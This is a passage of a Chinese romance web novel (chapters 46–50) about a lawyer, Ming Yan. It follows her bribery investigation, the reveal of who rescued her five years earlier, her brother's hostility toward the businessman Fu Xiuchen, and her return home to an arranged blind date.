傅修沉身高腿长,气质清冷矜贵,跟明嫣站在一起,郎才女貌,漂亮得简直就像是一幅画,引得不少过往旅客回头张望。 而此时的明嫣一直低着头,压根不敢去看傅修沉的脸。 她并没有注意到,在机场另一端的出口,一个身形高大,气场冷峻的男人正拖着行李箱,面色不虞地大步走出…… …… 飞机平稳降落在江南机场。 湿润微凉的空气透过舱门缝隙涌入,带着江南特有的温柔气息。 明嫣几乎是迫不及待地想要逃离这狭小的空间,以及身边这个男人带来的无形压迫感。 整个飞行过程中,傅修沉大部分时间都在闭目养神,或者处理平板电脑上的文件,并没有过多与她交流。 可越是如此,明嫣就越是不自在。 昨晚共处一室的画面,以及清晨那顿气氛微妙的早餐,像电影片段般在她脑海里反复播放。 她甚至能清晰地回忆起他靠近时,身上那股清洌干净的木质香气…… “咳。”明嫣被自己的想法呛到,轻轻咳嗽了一声,下意识地偷瞄了一眼身旁的男人。 傅修沉恰好睁开眼,深邃的目光捕捉到她来不及收回的视线。 “到了。”他语气平淡,听不出什么情绪,仿佛昨晚和今早的一切都未曾发生。 “嗯。”明嫣连忙低下头,解开安全带,动作快得有些慌乱。 两人一前一后走下飞机。 傅修沉的司机早已等在廊桥出口,周慕言也准时出现,接过傅修沉的行李箱。 “明律师,需要送你一程吗?”周慕言公事公办地问道,眼神却带着一丝不易察觉的探究。 “不用了,谢谢周律师,我打车就好。”明嫣连忙摆手拒绝。 她可不想再跟傅修沉同处一个密闭空间了。 傅修沉站在车旁,没有立刻上车,他转过身,目光落在明嫣微微泛红的耳根上,唇角几不可察地勾了一下。 明嫣转身,迅速招手搭了辆出租车,快速地上了车,几乎是落荒而逃。 没有注意到男人在原地站了许久,直到出租车转弯消失在视线里,这才轻笑了一声,收回了视线。 “走吧,回公司。” …… 而与此同时,明嫣刚到律所,陆奉归就像是看到了救世主一样,差点扑上来抱着她的大腿哭诉。 “老板!你可算回来了!” 明嫣无奈地揉了揉太阳穴,“那人人……后来又来了?” “那倒没有。” 明嫣暗暗松了口气。 “对了,老板,京都那边……怎么样了?”陆奉归小心翼翼地问道。明嫣将大致情况说了一遍,尤其是证据被排除和侍应生翻供的事情。 陆奉归听得义愤填膺,“霍律师他怎么能这样?!这也太过分了吧!他这不是助纣为虐吗?!” “在法律程序上,他做得没错。”明嫣语气冷静,“是我们取证时留下了漏洞。现在关键是找到侍应生翻供的直接证据,证明他受到了收买或胁迫。” “那我去查那个侍应生?” 明嫣点头,“对,查他最近的所有银行流水,查他的人际关系,看他最近有没有突然得到一笔来路不明的钱!任何蛛丝马迹都不能放过!” “是,老板!”陆奉归也知道事情严重,立刻领命而去。 明嫣则开始重新梳理案卷,试图从浩如烟海的资料中找到被忽略的细节。 很快,陆奉归那边也很快有了进展。 “老板!查到了!”陆奉归顶着两个黑眼圈,兴奋地冲进明嫣的办公室,“那个侍应生,他母亲名下的一张银行卡,在事发后第三天,确实收到了一笔五十万的转账!” 明嫣精神一振,“资金来源呢?” “我顺着转账记录追查下去,”陆奉归将一叠打印出来的银行流水放在明嫣面前,“对方很狡猾,通过好几个空壳公司和海外账户进行洗钱操作,最后追踪到的源头……” 他顿了顿,脸色有些凝重,“是一个叫‘张伟’的人注册的皮包公司。” “张伟?”明嫣皱眉,这个名字太普通,也太刻意了。 “怎么会这样?”陆奉归瘫在椅子上,一脸挫败,“难道不是秦婉指使的?还是说,她们找了别人来做这件事?” 明嫣盯着屏幕上那个陌生的名字,眉头紧锁。 不对。 直觉告诉她,这件事绝对跟秦家母女脱不了干系。 张伟……很可能只是一个障眼法,或者说,是一个被推出来的“白手套”。 “查这个张伟。”明嫣沉声道,“查他的社会关系,工作背景,所有能查到的信息!” “是,老板!”陆奉归重新打起精神。 …… 夜色渐深。 此时‘烟雨江南’夜总会的顶层最奢华的包厢内。 许宴清翘着二郎腿,晃着手中的酒杯,看着对面沙发上神色淡漠的傅修沉。 “我说傅少,你这趟京都之行,收获如何啊?”许宴清挤眉弄眼,脸上写满了八卦,“有没有把我们明大律师……一举拿下?” 傅修沉抬眸,冷冷地瞥了他一眼,“你很闲?” “我这不是关心兄弟你的终身大事嘛!”许宴清笑嘻嘻地凑近,“说真的,我看你对那明家小丫头可不一般。又是英雄救美,又是保驾护航,现在还亲自跑去京都给人当挡箭牌……你这要是没点心思,我把名字倒过来写!” 傅修沉抿了一口酒,没说话。 暖昧的光线落在他棱角分明的侧脸上,看不清他眼底的情绪。 “不过话说回来,”许宴清摸着下巴,若有所思,“明瘸子如果知道你在打他妹妹的主意,怕不是要跟你拼命!” 傅修沉放下酒杯,语气平淡,“他打不过我。” 许宴清:“……” 这是打不打得过的问题吗?! “喂,说正经的,”许宴清收起玩笑的神色,压低声音,“我上次问你那事,你还没回答我呢?五年前,你发烧说胡话,嘴里念叨的那个‘她’……到底是不是明嫣?” 傅修沉摩挲着酒杯的手指微微一顿…… 第46章 五年前的真相(加更) 傅修沉没搭理他,仰头将手中的红酒一饮而尽。 “喂,别装死啊!”许宴清凑过来,胳膊搭在他肩膀上,酒气混合着香水味扑面而来,“下了药都忍着不动人家,挺会玩纯情啊……” 傅修沉冷冷地瞥了他一眼,眼神带着警告。 许宴清缩了缩脖子,但八卦之魂仍在燃烧,“说真的,老傅,你跟兄弟交个底,你是不是真对明家那小丫头有意思?从实招来!” 傅修沉晃着手中的酒杯,琥珀色的液体在灯光下折射出迷离的光泽,他抿了一口,没说话。 “你不说我也知道!”许宴清得意地扬了扬下巴,“我早就看出来了!五年前你从京都回来就不对劲!发烧烧得迷迷糊糊,嘴里还念叨着什么‘她为什么喜欢那种人’……当时我没多想,现在一琢磨,那时候明嫣是不是正好跟了霍寒山那小子?” 傅修沉握着酒杯的手指几不可察地收紧了一下,眸色在昏暗的灯光下显得愈发深邃难辨。 “我猜对了吧?”许宴清像是发现了什么天大的秘密,兴奋地拍着大腿,“你就是从那时候开始暗恋人家的!对不对?卧槽!傅修沉你行啊!玩暗恋?还一玩就是五年?你可真能憋!” 傅修沉放下酒杯,身体微微后靠,陷在柔软的沙发里,暖昧的光线落在他棱角分明的侧脸上,看不清表情。 “不是五年。”他忽然开口,声音低沉,带着一丝不易察觉的沙哑。 “啊?”许宴清一愣。 傅修沉抬起眼眸,目光仿佛穿透了眼前的喧嚣,落在了遥远的过去,他眼尾的那颗朱砂痣在灯光下红得妖冶。 “是十年。” …… “十年?!”许宴清猛地拔高音量,差点从沙发上跳起来,眼睛瞪得溜圆,“你开什么玩笑?!十年前那丫头才多大?毛还没长齐吧?!傅修沉你……你他妈那时候就……” 他简直不敢相信自己的耳朵! 十年前,明嫣还是个十几岁的小丫头片子吧? 傅修沉这家伙……难道从那时候就盯上人家了? 这……这也太禽兽了吧?! 傅修沉没有理会他的大惊小怪,他端起酒杯,又抿了一口,辛辣的液体滑过喉咙,带来一丝灼热。 他的脑海里,不由自主地浮现出十年前的那个夏天。 那时他刚上大学,跟着父亲去明家拜访。 江南的夏天闷热潮湿,明家老宅的庭院里却绿树成荫,凉爽宜人。 他嫌大人们谈话无聊,便独自一人走到后院透口气。 然后,他就看到了那个坐在秋千上的少女。 她穿着简单的白色连衣裙,小腿纤细白皙,在空中轻轻晃荡。 手里捧着一本厚厚的书,阳光透过树叶的缝隙,在她身上投下斑驳的光影。 她看得入神,偶尔有风吹过,拂起她颊边的碎发,她便会伸出纤细的手指,轻轻将发丝别到耳后。 侧脸线条柔和,睫毛长而卷翘,像两把小扇子。 那一刻,周围所有的喧嚣仿佛都褪去了。 世界安静得只剩下风吹过树叶的沙沙声,和她翻动书页的细微声响。 傅修沉站在原地,没有上前打扰。 他不知道看了多久,直到少女似乎察觉到他的视线,抬起头,朝他这边望了过来。 那是一双极其干净明亮的眼睛,像是浸在溪水里的黑色琉璃,带着一丝被打扰的茫然和好奇。 四目相对的瞬间,傅修沉的心跳,漏了一拍。 他几乎是有些仓促地移开了视线,转身离开了后院。 自那以后,那个坐在秋千上看书的少女身影,就像一颗种子,悄无声息地落在了他的心间。 他知道她是明燃的妹妹,知道她和明燃关系极好。 而他,和明燃是死对头。 所以,他将那点不该有的心思,死死压在了心底。 后来,他听说她考上了京都的大学,听说她喜欢上了一个叫霍寒山的男人,听说她为了那个男人跟家里闹翻,听说她跟在那个男人身边,吃了很多苦…… 他看着她飞蛾扑火般奔向别人,却连上前阻止的立场都没有…… “十年……”许宴清消化了半天,才喃喃道,“傅少,你可真是……情种啊!” 他拍了拍傅修沉的肩膀,语气带着几分同情和戏谑,“不过哥们儿得提醒你,你那大舅子明燃,可不是好对付的。” 傅修沉扯了扯嘴角,露出一抹极淡的,带着几分势在必得的弧度。 “那就让他来。” …… 京都,明寒律所顶层办公室。 夜色已深,整层楼只剩下霍寒山办公室还亮着灯。 “叮——” 手机铃声突兀地响起,在死寂的办公室里显得格外刺耳。 霍寒山猛地一震,像是被从噩梦中惊醒,瞳孔骤然收缩,当看清来电显示时,他几乎是条件反射地摁下接听键,声音嘶哑得不成样子:“……说。” 电话那头传来韩晋小心翼翼的声音:“老霍……查到了……” 霍寒山的心脏瞬间被一只无形的手攥紧,几乎窒息。 “说下去。”他强迫自己发出声音,指尖却冰凉一片。 韩晋在电话那头深吸了一口气,仿佛下了极大的决心:“五年前,京大后巷那个晚上……确实有人救了明嫣,打跑了那个混混……” 轰——! 尽管早有预感,但当真相被赤裸裸地揭开时,霍寒山还是觉得仿佛有一道惊雷在头顶炸开,炸得他魂飞魄散,四肢百骸都泛起冰冷的麻木感。 办公室里的空气仿佛被瞬间抽空,他张着嘴,却发不出任何声音,只有粗重而痛苦的喘息。 “老霍?老霍你还在听吗?” 霍寒山死死攥着听筒,指节因为过度用力而泛出青白色,喉咙里发出嗬嗬的声响,半晌,才从牙缝里挤出几个字:“是……谁?” “我们找到了当年附近一个便利店损坏后刚刚修复的监控硬盘……虽然画面很模糊,角度也不好,但是……拍到了一点……” “拍到那个人的侧脸……还有,他扶着明嫣离开巷口时,被路灯照到的……一个比较清晰的画面。” “发给我。”霍寒山的声音冷得像冰,没有一丝温度。 “老霍……”韩晋还想说什么。 “立刻!发给我!”霍寒山猛地低吼,情绪几乎失控。 “……好。” 电话挂断。 办公室里只剩下霍寒山粗重的呼吸声。 他猛地扑到电脑前,手指颤抖得几乎无法操控鼠标,好几次才点开了邮箱,找到了韩晋发来的那封带着加密附件的邮件。 输入密码。 下载。 解压。 每一个步骤都漫长得像一个世纪。 播放器窗口弹出…… 第47章 竟然是他! 画面确实如韩晋所说——极其模糊。 而且因为是损坏后修复的,充满了噪点和跳帧。 角度也十分刁钻,只能看到巷子口的一小片区域,光线昏暗,勉强能辨认出人影。 时间显示是五年前…… 先是明嫣挣扎的身影,和一个男人粗暴的拖拽…… 霍寒山的瞳孔骤缩,即使画面模糊,他也能感受到明嫣当时的绝望。 就在这时,一道修长挺拔的身影从镜头外猛地冲了进来,一脚就踹在了那个混混的腰侧! 混混吃痛,松开了明嫣,骂骂咧咧地转身,掏出了明晃晃的刀子! 接下来的画面因为打斗和角度问题,更加混乱模糊。 混乱中,混混的刀子划过了那道身影的胸前…… 那人闷哼一声,一拳砸在混混的面门,夺过刀子,反手将混混死死按在地上! 而就在这时,因为打斗角度的变化,那人微微抬头的瞬间—— 一张模糊却足以辨认轮廓的侧脸,赫然闯入了霍寒山的视线! 尽管画面粗糙,光线昏暗,但那高挺的鼻梁,清晰利落的下颌线,尤其是……眼尾那颗即使在如此糟糕的画质下,依旧隐约可辨的……朱砂痣! 整个世界瞬间天旋地转,耳边只剩下尖锐的嗡鸣声。 他的眼睛死死地盯着屏幕上那张脸,瞳孔放大到极致,血丝迅速蔓延。 傅……修……沉…… 一时间,霍寒山的呼吸骤然停止,血液仿佛在瞬间逆流,冲上大脑! 他死死地盯着屏幕上那张脸——怎么会是他? “嗬……” 霍寒山猛地向后踉跄一步,撞在冰冷的书架上,发出一声沉闷的巨响。 他感觉不到疼痛。 心脏处传来的,是比刀割更尖锐的疼,如同海啸,瞬间将他淹没! 他想起明嫣最初看向他时,那双亮得惊人的眼睛里带着的崇拜和爱意…… 原来,这一切都不是给他的…… 播放器窗口自动关闭。 办公室里,陷入了一片死寂。 霍寒山发出破碎的喘息,喉咙里涌上一股腥甜。 他猛地直起身,一把抓过桌上的手机,颤抖着再次拨通韩晋的电话。 电话几乎是秒接。 霍寒山的嗓音低哑,“当年,他……为什么……” 哪怕他的话没说完,韩晋却明白他要问什么。 韩晋在电话那头沉默了几秒,叹了口气,“我查过了……傅修沉当时应该伤得不轻……” 他顿了顿,继续说道,“我托关系查了当年的报警记录和医院记录,明嫣被送到医院后,因为受到惊吓和药物影响,记忆有些混乱,只模糊记得有人救了她,对方胸口受了伤……她醒来后,一直在寻找救命恩人……” 后面的话,韩晋没有再说下去。 但霍寒山已经明白了。 阴差阳错。 因为傅修沉受伤,没有出现。 因为明嫣记忆的模糊。 因为他胸口恰好有一道差不多位置的疤痕…… 所以,他这个“李鬼”,就这么顶替了“李逵”,占据了明嫣整整个五年的心和人生! “哈哈……哈哈哈……”霍寒山突然低低地笑了起来,笑声嘶哑破碎。 笑着笑着,眼泪却不受控制地涌了出来。 他错了。 错得离谱。 他不仅辜负了明嫣的真心,他甚至……没有资格去祈求她的原谅。 如今,他更是连站在她面前的资格都没有了! 电话不知道什么时候挂断,霍寒山像是被抽走了所有力气,踉跄着后退,重重地跌坐在冰冷的地板上。 他背靠着巨大的落地窗,窗外是京都璀璨繁华的夜景,万家灯火,霓虹闪烁。 可这一切,在他眼中都失去了颜色。 他抬起手,看着自己空空如也的掌心。 他曾以为,他抓住了光。 现在才知道,他什么都没有抓到…… 一无所有。 …… 江南的雨,总是来得猝不及防。 刚刚还晴空万里的天,转眼间就淅淅沥沥地撒了下来,在玻璃上氤氲开一片朦胧的水汽。 明嫣站在窗边,看着楼下街道上匆匆避雨的行人,心思却全在眼前的白板上。 白板上密密麻麻地写满了字,中心位置贴着张伟这个名字,周围延伸出数条箭头,指向空壳公司、海外账户、五十万转账,但最终都停滞不前。 “老板,这个张伟也太干净了。”陆奉归挠着头,一脸苦恼,“我连他小学在哪上的都查了,愣是没找到任何跟秦家母女有直接关联的证据。” 明嫣用马克笔轻轻敲着白板上的张伟二字,眉头紧锁,“越是这样,越说明背后的人心思缜密。秦婉没这个脑子,肯定是她妈妈秦晓林的手笔。” 她顿了顿,目光锐利,“其实,换个思路……查不到张伟和秦家的直接联系,就查间接的,查秦晓林的社会关系网,尤其是……异性朋友。” 陆奉归眼睛一亮,“对哦!我这就去扒秦晓林的底!” 陆奉归领命而去,办公室里又只剩下明嫣一人。雨声淅沥,衬得房间格外安静。 很快,下班时间到了,雨却没有停歇的意思,反而越下越大。 明嫣站在律所楼下,看着瓢泼大雨有些发愁。 她今天没开车,也没带伞。 正当她犹豫着是冒雨冲到路边打车,还是等雨小一点时,一辆熟悉的黑色宾利缓缓停在了门口。 后车窗降下,露出傅修沉轮廓分明的侧脸。 “上车。”他的声音透过雨幕传来,带着不容置疑的意味。 明嫣愣了一下,“傅总?您怎么……” “顺路。”傅修沉言简意赅,目光落在她被雨丝打湿的肩头,眉头几不可察地蹙了一下。 又是顺路…… 明嫣心里默默腹诽,面上却是满是笑意,“不用了,我已经打车了,一会儿就来了……” 而她话音刚落,车门就被人推开,傅修沉撑开黑伞,几步就走到明嫣身边。 “?” 明嫣满脸莫名地看着他。 傅修沉撑着黑伞,身姿挺拔地站在明嫣身侧,伞面大半都倾向她那边,自己的肩头却很快被斜飞的雨丝洇湿了一片深色。 他垂眸,看着身旁微微瑟缩了一下的明嫣,利落地脱下的西装外套,披在了明嫣的肩上。 “穿上,别着凉。” 宽大的西装瞬间将明嫣整个笼罩,属于他的清冽木质香气混合着一丝淡淡的体温,霸道地侵入她的感官。 衣服上还残留着他的温度,熨帖在她微凉的皮肤上,带来一阵奇异的暖意和……心悸。 明嫣的身体微微一僵,下意识地就想推拒,“傅总,不用……” “穿着。” 他的目光落在她微微泛红的耳尖上,眸色深了深。 就在这微妙的气氛在雨幕中无声蔓延之时—— 一道刺耳的刹车声猛地撕裂了雨水的喧嚣,只见一辆黑色迈巴赫,猛地甩尾,横停在了律所门口,溅起大片浑浊的水花,险些泼到傅修沉笔挺的裤脚上。 车门被猛地推开! 一个身形高大挺拔的男人迈步下车。 第48章 其心可诛! 男人面容冷峻,眉眼锋利,与明嫣有五六分相似,只是线条更为硬朗,此刻紧绷的下颌和紧抿的薄唇,更是透着一股山雨欲来的骇人怒气。 正是明嫣的大哥——明燃。 “哥?!”明嫣满脸的错愕,“你……你怎么来了?!” 明燃没有回答她,他大步流星地走上前,无视了傅修沉,直接伸手,一把将明嫣肩上那件西装扯了下来,随手就扔回给傅修沉。 随即,脱下西装外套披在了明嫣肩上,将她严严实实地裹住。 傅修沉接住被扔回来的西装,随手搭在臂弯,唇角勾起一抹极淡的的弧度。 “明总,好久不见。” 两人的目光在半空中对撞,偏偏中间还隔了个明嫣,隔空嗞火花。 夹在中间的明嫣莫名被崩了一脸。 明燃冷笑一声,眼神里的敌意毫不掩饰,“傅总,真是巧啊,在这江南小地方也能遇见你。” ‘小地方’三个字格外的咬重。 傅修沉像是没听出他话里的讽刺,神色不变,“江南自然是比不上国外的天地广阔,只不过听闻最近国外的天气多变,明总年纪不小了,可得注意保养。“ “……” 明嫣在一旁听着都感觉直冒冷汗。 她现在终于知道大哥为什么讨厌傅修沉了。 这张嘴是真的毒啊! 她大哥明明比傅修沉也就大了两岁…… 到了他嘴里,倒像是成了七老八十需要保养的老头子。 “不劳傅总费心!”明燃轻笑一声,“时间不早了,傅总还是赶紧回家吧,省得一会儿打雷……” 夹在中间的明嫣只觉得头皮发麻。 她甚至能感觉到雨滴砸在伞面上那密集的声响,都压不住这两人之间噼里啪啦的电光石火。 “哥!”她忍不住拽了拽明燃的袖子,试图缓和气氛,“雨下这么大,我们先上车再说吧?” 说着,还没等明燃说话,她已然不由分说地拉住明燃的胳膊,用力往迈巴赫的方向拽。 明燃被她拉着,虽然脸色依旧难看,但到底顾忌着妹妹,没有当场发作。 他冷冷地扫了一眼傅修沉,这才打开车门上了车。 而傅修沉站在原地,撑着黑伞,一动不动。 迈巴赫发出一声沉闷的引擎咆哮,溅起水花,迅速汇入车流,消失在迷蒙的雨幕中。 直到车子彻底看不见,傅修沉才缓缓收回视线。 他低头,看了一眼臂弯里那件被明燃扔回来的西装外套,上面似乎还残留着一丝淡淡香气。 半晌,他几不可察地勾了下唇角,转身也上了车。 …… 而此时的迈巴赫车内,气氛压抑得让人喘不过气。 明燃沉着脸开车,下颌线绷得紧紧的,一言不发。 明嫣坐在副驾驶,看着窗外飞速倒退的雨景,心里也是七上八下。 她知道大哥生气了,而且是非常生气。 车子最终停在明嫣租住的高级公寓楼下。 “下车。”明燃的声音冷硬,不带一丝温度。 明嫣乖乖跟在他身后,像个小学生似的。 公寓是她精心布置过的,暖色调的软装,随处可见的绿植,阳台甚至还有一个舒适的吊篮椅,处处透着温馨和生活气息。 明燃站在客厅中央,锐利的目光扫视了一圈,脸色却并未因此缓和多少。 “解释一下。” 明嫣动作一顿,抬起头,脸上挤出一个讨好的笑,“哥,解释什么呀?你就是来看我的对不对?爸妈都好吗?你怎么找到这儿的?” “别给我打马虎眼!”明燃厉声打断她,眉头拧成了一个死结,“我问你,你跟傅修沉,到底怎么回事?!” 他往前走了两步,逼视着明嫣,“你知不知道他是什么人?你倒好,从姓霍的那个火坑里跳出来,转头就跟他搅和到一起去了?!明嫣,你是不是非要在同一个坑里跌倒两次才算完?!” “我没有!”明嫣被他吼得也有些委屈,声音不由得拔高,“我跟傅修沉就是正常的合作关系!他是我律所的客户!今天下雨,他只是顺路想送我一下而已!” “客户?顺路?”明燃像是听到了什么天大的笑话,嗤笑一声,“他傅修沉是什么人?傅氏集团的太子爷,一手创建的跃华生物在国外都是炙手可热,他会没有合作的律所?非要找你一个刚开业的小律所?还‘顺路’?他傅修沉的时间那么不值钱,专门‘顺路’来接你下班?!” “你动动脑子想想!他接近你,肯定是另有所图!” “他能图我什么?”明嫣也有些急了,“我一没钱二没势,就是个刚起步的小律师……” “图你这个人!”明燃打断她,眼神锐利如刀,“图你是明家的女儿!图你是我明燃的妹妹!他跟我斗了这么多年,现在把主意打到你头上,其心可诛!” 他越说越气,胸口剧烈起伏,“你知不知道傅修沉手段有多狠?心思有多深?你玩得过他吗?霍寒山起码只是块捂不热的石头,傅修沉那就是条吃人不吐骨头的毒蛇!你跟他走得近,迟早被他啃得骨头渣子都不剩!” “哥!你对他偏见太深了!”明嫣忍不住反驳,“他帮我的时候,从来没有提过任何条件,也没有利用过我……” “那是他放长线钓大鱼!”明燃低吼,额角青筋都跳了起来,“等把你骗到手,到时候你怎么死的都不知道!明嫣,你什么时候才能长大?什么时候才能不让家里人替你操心?!” 他的话像一把把刀子,扎在明嫣心上。 她知道大哥是关心则乱,可这种全盘否定她判断和选择的方式,还是让她感到了巨大的委屈和窒息。 五年了。 她离开家五年,独自在京都打拼,吃了多少苦,受了多少委屈,她从来没有跟家里诉过一句苦。 她以为她已经足够坚强,足够独立。 可在大哥眼里,她似乎永远都是那个需要被保护,容易被人骗的傻妹妹。 眼眶不受控制地泛起酸涩,她倔强地仰起头,不让眼泪掉下来。 客厅里的气氛僵持到了极点,如同拉满的弓弦,一触即发。 可就在这时,明嫣的肚子突然不争气地“咕噜”叫了一声。 声音在寂静的房间里显得格外清晰。 “……” 第49章 回魔都相亲(加更) 明燃满腔的怒火被这突兀的声音打断,他愣了一下,视线下意识地落在明嫣的脸上。 明嫣也没料到自己的肚子这么不争气。 可事已至此,跟大哥硬碰硬显然不是什么好办法。 想到这里,她趁机吸了吸鼻子,声音带着一丝撒娇的软糯:“哥……我饿了……从中午到现在还没吃饭呢……” 她悄悄抬起眼皮,轻轻扯了扯他的衬衫袖口,晃了晃,“你以前……不是最爱吃我煮的番茄鸡蛋面了吗?我给你煮面吃,好不好?” 这一招,从小到大,百试百灵。 明燃看着妹妹这副可怜兮兮的模样,心脏像是被什么东西狠狠撞了一下,又酸又软。 他所有的怒火和严厉,在这一刻,像是被戳破的气球,瞬间泄了大半。 他重重地叹了口气,抬手,有些粗鲁地揉了揉明嫣的头发“……没出息!就会来这套!” 这就是答应了。 明嫣心里悄悄松了口气,“那你等着,我这就去煮!保证还是原来的味道!” 她像只欢快的小兔子,转身就钻进了厨房,系上围裙,开始忙碌起来。 明燃看着她在厨房里穿梭的纤细背影,眼神复杂。 他走到客厅的落地窗前,看着窗外依旧滂沱的大雨,点燃了一支烟。 烟雾缭绕中,他冷硬的眉眼间染上了一丝担忧。 他不是不相信妹妹的能力,他只是太了解傅修沉那个男人的危险…… 一个能将跃华生物发展到如此恐怖规模的男人,又怎么会是个善茬? 当年,明嫣被猪油蒙了心,一心要跟着姓霍的那小子,他无计可施。 可这次——他绝不允许任何人,再伤害他的妹妹一丝一毫。 …… 过了一会儿,厨房里飘出熟悉的香味。 明嫣端着两碗热气腾腾的番茄鸡蛋面走了出来,摆在小餐桌上。 “哥,面好了,快来吃!” 明燃掐灭了烟,走到餐桌旁坐下。 面条煮得恰到好处,红色的番茄汤底,金黄的炒蛋,上面还撒了一点小葱花,香气扑鼻。 是他记忆中的味道。 明嫣小心翼翼地看着他吃下第一口,紧张地问:“怎么样?味道没变吧?” 明燃嚼了几口,咽下去,没什么表情地“嗯”了一声。 虽然只有一个字,但明嫣知道,这已经是他最大的褒奖了。 她开心地拿起筷子,自己也吃了起来。 饿了大半天,此刻热汤面下肚,整个人都暖和了起来。 吃完面,明嫣主动收拾了碗筷。 等她从厨房出来,明燃已经重新坐回了沙发上,神色恢复了之前的严肃,但语气已经平静了许多。 “嫣儿,”他看着她,“明天跟我回一趟家吧……” 明嫣擦手的动作一顿。 “爸妈都很想你。” 明嫣的眼眶瞬间又红了。 这五年来,她对父母的思念,何尝不是与日俱增。 只是当初她为了霍寒山,几乎跟家里闹翻,倔强地不肯低头。 现在…… 她点了点头,“好,我跟你回去。” 明燃的脸色这才彻底缓和下来,他站起身,“我订明天的机票。” 他走到门口,拿起自己的外套,准备离开。 在手触碰到门把手的瞬间,他停顿了一下,没有回头,声音却带着不容置疑的警告:“离傅修沉远点。” “那小子不是什么好东西。” 说完,他拉开门,大步走了出去。 房门轻轻合上。 明嫣独自坐在沙发上,看着窗外依旧没有停歇迹象的雨,心里乱糟糟的。 大哥的警告言犹在耳。 傅修沉…… 他接近自己,真的另有所图吗? …… 第二天一早,天光放晴,被雨水洗涤过的江南空气格外清新。 明嫣拖着一个小小的行李箱,跟着明燃下了楼。 迈巴赫早已等在楼下,司机恭敬地接过行李。 去机场的路上,兄妹俩之间的气氛比昨天缓和了许多,但依旧有些微妙的沉默。 明嫣看着窗外飞速倒退的街景,心里五味杂陈。 近乡情怯,五年未归,她不知道等待自己的会是什么。 明燃似乎看出了她的不安,“放心,家里没人会说你。爸妈就是想你了。” “嗯。”明嫣轻轻应了一声,心里稍稍安定。 飞机冲上云霄,脚下的江南渐渐变成缩略的棋盘。 两个多小时后,航班平稳降落在魔都国际机场。 一走出到达口,明嫣一眼就看到了等在接机人群中的明父明母。 五年不见,父亲明庭峰的鬓角似乎多了几根白发,但身姿依旧挺拔,穿着熨帖的中山装,不苟言笑,只是那紧盯着出口的眼神泄露了他内心的急切。 母亲苏婉晴则直接多了,一看到明嫣,眼圈立刻就红了,快步上前,一把将女儿紧紧搂在怀里。 “嫣儿!我的嫣儿……总算回来了!让妈妈好好看看……”苏婉晴的声音带着哽咽,上下打量着明嫣,心疼地摩挲着她的脸颊,“瘦了,在外面肯定没好好吃饭……” “妈,我挺好的,没瘦,最近还胖了两斤呢。”明嫣鼻子发酸,强忍着眼泪,笑着安慰母亲。 明庭峰也走了过来,威严的目光在明嫣脸上停留片刻,最终只是沉沉地说了一句:“回来就好。” 千言万语,都融在这四个字里。 明燃站在一旁,看着这一幕,冷硬的唇角也微微松动。 一家人上了车,朝着明家老宅驶去。 明家老宅位于魔都西郊一处闹中取静的别墅区,是有些年头的花园洋房,带着浓厚的老沪上风情。 车子驶入雕花铁门,穿过绿树掩映的车道,最终停在一栋红砖黑瓦的三层小楼前。 庭院里的花草被打理得井井有条,一棵高大的玉兰树枝叶繁茂,一如明嫣记忆中的模样。 “小姐回来啦!”管家祥叔笑着迎上来,他是看着明嫣长大的老人,见到她激动得眼眶湿润。 “祥叔!”明嫣亲热地喊了一声。 走进客厅,熟悉的气息扑面而来。 中式风格的家具,博古架上摆放着父亲收藏的瓷器,墙上挂着名家字画,空气中弥漫着淡淡的茶香和书香。 一切都好像没有变,只是她离家太久了。 苏婉晴拉着明嫣的手在沙发上坐下,嘘寒问暖,事无巨细。 从工作累不累,到江南的饮食习不习惯,再到有没有人欺负她……仿佛要把这五年缺失的关心一次性补回来。 明庭峰虽然话不多,但也一直坐在旁边,时不时插一两句,询问她律所的情况,给出一些中肯的建议,虽然语气依旧带着商场大佬的审视意味,但关切之情溢于言表。 明燃则坐在单人沙发上,拿着手机似乎在处理公务,但偶尔抬眼看向被父母围住的妹妹时,眼神是难得的柔和。 这种久违的,被家人浓浓爱意包围的感觉,让明嫣的心像是泡在温泉水里,暖洋洋的,连日来的疲惫和紧绷都舒缓了不少。 然而,这份温馨和谐并没能持续整个下午。 傍晚时分,明嫣正陪着母亲在花园里散步,欣赏她精心栽培的玫瑰,明燃接了个电话后,脸色微沉地走了过来。 “妈,晚上陈叔叔一家过来吃饭。”明燃说着,目光意有所指地瞥了明嫣一眼。 苏婉晴先是愣了一下,随即脸上露出恍然,“哦,对对,瞧我这记性,早就约好的。陈董和你爸爸是多年好友了,他们家的公子陈放,年纪跟嫣儿差不多,刚从国外读完MBA回来,一表人才,能力也很出众……” 明嫣瞬间明白了——这哪是普通的家宴? 这分明是……相亲宴! 第50章 联姻…… 傅家老宅。 与明家那种带着历史感的花园洋房不同,傅家的庄园是极致的现代与奢华,巨大的落地窗,流畅的线条,隐在繁茂林木之后,低调而威严。 一辆黑色的劳斯莱斯幻影无声地滑入庄园大门,穿过精心修剪的草坪和景观水系,最终停在主宅门口。 车门打开,傅修沉迈步下车。 他依旧是那身剪裁精良的深色西装,身形挺拔,面容冷峻,显得矜贵且疏离。 “少爷回来了!”老管家福伯早已等候在门口,脸上是抑制不住的激动和喜悦,连忙迎上前。 “福伯。”傅修沉微微颔首,语气算得上温和。 福伯是看着他长大的老人。 “您快进去吧,老爷子他们都在里面等着呢!”福伯一边引路,一边絮叨着,“刚接到你要回来的消息,夫人就亲自下厨做了您爱吃的蟹粉狮子头……” 傅修沉脚步未停,走进挑高近十米的奢华客厅,水晶吊灯折射出璀璨光芒,巨大的波斯地毯柔软无声。 当看到傅修沉走进来时,傅母温静姝第一个站了起来,“修沉!” “妈。”傅修沉走上前,任由母亲拉住他的手,上下打量。 “还知道回来?”傅老爷子放下茶杯,目光锐利地扫过孙子。 一旁的老夫人则笑着打圆场:“好了好了,孩子回来是高兴事,摆什么架子!修沉,快来让奶奶看看,是不是又瘦了?” 傅修沉一一应对,态度恭敬却不失分寸。 这时,楼梯口传来二叔傅承平的声音,“哟,是修沉回来了?真是稀客啊!” 紧接着,便是小姑傅承慧在一旁附和,“可不是嘛!咱们傅家的大忙人,如今可是商界炙手可热的新贵,能抽空回趟家,真是不容易!” 话语里的酸意,几乎不加掩饰。 傅修沉面色不变,甚至连眼神都没有丝毫波动,只是淡淡地扫了过去。 那眼神平静无波,却带着一种久居上位的审视和冷冽。 二叔傅承平脸上的笑容僵了一下,下意识地避开了他的视线。 小姑傅承慧更是被那一眼看得心里发毛,后面准备好的恭维话卡在喉咙里,讪讪地闭上了嘴。 客厅里的气氛瞬间有些微妙。 如今的傅修沉,早已不是几年前那个需要依靠家族荫蔽的傅家少爷。 